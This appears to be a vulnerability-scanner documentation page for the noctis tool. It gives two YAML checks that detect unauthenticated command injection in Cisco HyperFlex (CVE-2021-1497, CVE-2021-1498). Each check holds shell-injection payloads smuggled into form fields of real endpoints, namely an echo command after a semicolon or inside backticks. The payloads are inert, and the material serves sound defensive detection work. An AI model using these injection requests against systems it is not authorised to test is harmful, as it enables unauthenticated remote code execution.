Cisco HyperFlex — 2 vulnerability checks
noctis ships 2 vulnerability checks for Cisco HyperFlex, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Cisco HyperFlex HX Data Platform Unauthenticated Command Injection RCE (CVE-2021-1497)
| CVE | CVE-2021-1497 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/cisco-hyperflex/CVE-2021-1497.yaml |
Probes the Cisco HyperFlex HX Data Platform management interface for the unauthenticated command-injection RCE (CVE-2021-1497). An inert shell payload that echoes a per-run random token via an empty command substitution `$()` is injected into the auth change request body. A vulnerable host runs the payload through a shell, collapsing the `$()` and reflecting the contiguous token marker in the response, which confirms arbitrary command execution without credentials.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /auth/changewith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: Cisco HyperFlex HX Data Platform Unauthenticated Command Injection RCE (CVE-2021-1497)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-1497
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjN9kjpt
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-1497.yaml
- https://www.rapid7.com/db/?q=CVE-2021-1497
Feed source — tests/vulnerabilities/cisco-hyperflex/CVE-2021-1497.yaml
# Cisco HyperFlex HX Data Platform — unauthenticated command injection RCE (CVE-2021-1497)
#
# The HyperFlex HX web management interface passes an attacker-controlled HTTP
# POST parameter (the auth change request) into a shell command without
# sanitisation, allowing an unauthenticated remote attacker to execute arbitrary
# OS commands. Tracked in the CISA KEV catalog (added 2021-11-03), EPSS ~1.0.
#
# Detection method — command-substitution collapse (inert, non-destructive):
# 1. A `script` step mints a per-run random token (rand_hex(16) → 32 hex chars)
# and a marker "NOCTIS<token>".
# 2. The injected command is `echo NOCTIS$()<token>`. The empty `$()` is a shell
# command substitution that evaluates to nothing, so a REAL shell collapses
# `NOCTIS$()<token>` into the contiguous marker `NOCTIS<token>`. A string that
# is merely reflected (patched host, or any non-shell) keeps the literal `$()`
# between NOCTIS and the token, so the marker never appears contiguously.
# 3. The response is matched for `NOCTIS[0-9a-f]{32}`, gated on HTTP 200 AND the
# exact per-run marker being present — only a genuine shell collapse satisfies
# both, giving QoD 97 (confirmed command execution). No file is written and no
# network callback is made: the payload only echoes a random token.
#
# The payload travels in the POST body (not the URL), so http_request is used:
# reqwest does not normalise request bodies, so the `$()`/`;`/space survive intact.
uid: 23312e31-0137-4841-8bb3-1da681f19738
name: "Cisco HyperFlex HX Data Platform Unauthenticated Command Injection RCE (CVE-2021-1497)"
description: |
Probes the Cisco HyperFlex HX Data Platform management interface for the
unauthenticated command-injection RCE (CVE-2021-1497). An inert shell payload
that echoes a per-run random token via an empty command substitution `$()` is
injected into the auth change request body. A vulnerable host runs the payload
through a shell, collapsing the `$()` and reflecting the contiguous token marker
in the response, which confirms arbitrary command execution without credentials.
cves: [CVE-2021-1497]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [cisco, hyperflex, rce, command-injection, auth-bypass, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-1497"
- "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjN9kjpt"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-1497.yaml"
- "https://www.rapid7.com/db/?q=CVE-2021-1497"
steps:
# Seed the token/marker context vars so the script has existing keys to write
# back into and later templates/conditions never read an undefined Rhai var.
- id: init-token
action: set_var
var_name: tok
var_value: ""
- id: init-marker
action: set_var
var_name: marker
var_value: ""
# Mint a per-run random token and the contiguous marker the shell must produce.
- id: mint-token
action: script
store_as: minted
code: |
tok = rand_hex(16);
marker = "NOCTIS" + tok;
marker
# Inject `;echo NOCTIS$()<token>` into the POST body (URL-encoded). reqwest does
# not normalise bodies, so the shell metacharacters survive. Only a real shell
# collapses the empty `$()`, yielding the contiguous marker in the output.
- id: cmd-inject-probe
action: http_request
method: POST
path: /auth/change
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Accept: "*/*"
Content-Type: "application/x-www-form-urlencoded"
body: "username=root&password=%3Becho+NOCTIS%24%28%29{{tok}}"
store_as: resp
# Confirmed RCE: the response carries the contiguous per-run marker, which can
# only arise from a genuine `$()` collapse by a shell. Gated on HTTP 200 AND the
# exact per-run marker to defeat constant-marker or verbatim-reflection mocks.
- id: collapse-match
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
on_match:
finding:
title: "Cisco HyperFlex HX Data Platform Unauthenticated Command Injection RCE (CVE-2021-1497)"
description: "The HyperFlex HX auth change endpoint executed an injected shell command without authentication, collapsing an empty command substitution and reflecting a unique per-run token marker — confirming unauthenticated remote command execution."
remediation: "Upgrade Cisco HyperFlex HX Data Platform to a fixed release per Cisco advisory cisco-sa-hyperflex-rce-TjN9kjpt."
confidence_delta: 0.72
qod: 97
evidence: "Unauthenticated POST /auth/change triggered a shell command-substitution collapse, reflecting the contiguous per-run token marker in the response: {{resp.body}}"
stop: trueCisco HyperFlex HX Data Platform Unauthenticated Command Injection RCE (CVE-2021-1498)
| CVE | CVE-2021-1498 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/cisco-hyperflex/CVE-2021-1498.yaml |
Detects the Cisco HyperFlex HX Data Platform unauthenticated OS command injection (CVE-2021-1498) on POST /storfs-asup. A command-substitution-collapse payload (echo NOCTIS$()<token>) is injected; a vulnerable host's shell collapses the empty $() and reflects the contiguous per-run marker, confirming remote command execution. A patched host leaves the payload inert, so no finding fires.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /storfs-asupwith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: Cisco HyperFlex HX unauthenticated command injection confirmed on POST /storfs-asup: injected 'echo NOCTIS$()<token>' collapsed to the cont…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-1498
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-1498.yaml
- https://www.rapid7.com/db/?q=CVE-2021-1498
Feed source — tests/vulnerabilities/cisco-hyperflex/CVE-2021-1498.yaml
# Cisco HyperFlex HX Data Platform — unauthenticated command injection RCE (CVE-2021-1498)
#
# The HyperFlex HX Data Platform exposes an unauthenticated web endpoint,
# POST /storfs-asup, whose request parameters are passed to an OS shell without
# sanitisation. An attacker can inject arbitrary commands via the `token`/`mode`
# parameters, yielding remote command execution as the web service user.
# CISA KEV (2021-11-03), actively exploited. Sibling of CVE-2021-1497, which
# abuses a different endpoint.
#
# Detection method (inert, non-exploitative — command-substitution-collapse idiom):
# A `script` step mints a fresh per-run token (rand_hex, 32 hex chars) and the
# marker "NOCTIS" + token. The injected command is `echo NOCTIS$()<token>`:
# the empty command substitution `$()` sits *between* the two halves of the
# marker. Only a real shell evaluating the command collapses `$()` to nothing,
# rejoining the halves into the contiguous marker `NOCTIS<token>`. A string
# reflector (a patched/benign endpoint that does not invoke a shell) leaves the
# `$()` in place, so the contiguous marker never appears.
#
# The finding fires only when the response is HTTP 200 AND contains the exact
# per-run marker (gated by `condition:` on the `stridx` of the live token), and
# the regex NOCTIS[0-9a-f]{32} matches. The per-run random token defeats a mock
# that merely echoes a constant marker, and proves genuine shell execution
# rather than payload reflection. QoD 97 (confirmed command execution).
uid: a3add455-04b0-42d8-8ede-847455c4f33f
name: "Cisco HyperFlex HX Data Platform Unauthenticated Command Injection RCE (CVE-2021-1498)"
description: |
Detects the Cisco HyperFlex HX Data Platform unauthenticated OS command
injection (CVE-2021-1498) on POST /storfs-asup. A command-substitution-collapse
payload (echo NOCTIS$()<token>) is injected; a vulnerable host's shell collapses
the empty $() and reflects the contiguous per-run marker, confirming remote
command execution. A patched host leaves the payload inert, so no finding fires.
cves: [CVE-2021-1498]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [cisco, hyperflex, hx-data-platform, rce, command-injection, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-1498"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-1498.yaml"
- "https://www.rapid7.com/db/?q=CVE-2021-1498"
steps:
# Mint a fresh per-run token and the marker. rand_hex(16) → 32 hex chars.
- id: gen-token
action: script
code: |
rand_hex(16)
store_as: tok
- id: gen-marker
action: script
code: |
"NOCTIS" + tok
store_as: marker
# Inject the command-substitution-collapse payload into the storfs-asup params.
# The literal `$()` sits between "NOCTIS" and the token; only a real shell
# collapses it into the contiguous marker. Body goes via http_request because
# reqwest does not normalise request bodies.
- id: probe-storfs-asup
action: http_request
method: POST
path: "/storfs-asup"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Accept: "*/*"
Content-Type: "application/x-www-form-urlencoded"
body: "action=&token=`echo NOCTIS$(){{tok}}`&mode=`echo NOCTIS$(){{tok}}`"
store_as: resp
# Finding fires only when the response is 200 AND carries this run's exact
# marker (the condition ties detection to the live token, defeating a mock that
# echoes a constant marker), and the regex confirms the collapsed form.
- id: detect-rce
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "Cisco HyperFlex HX unauthenticated command injection confirmed on POST /storfs-asup: injected 'echo NOCTIS$()<token>' collapsed to the contiguous per-run marker, proving OS shell command execution. Response: {{resp.body}}"
stop: true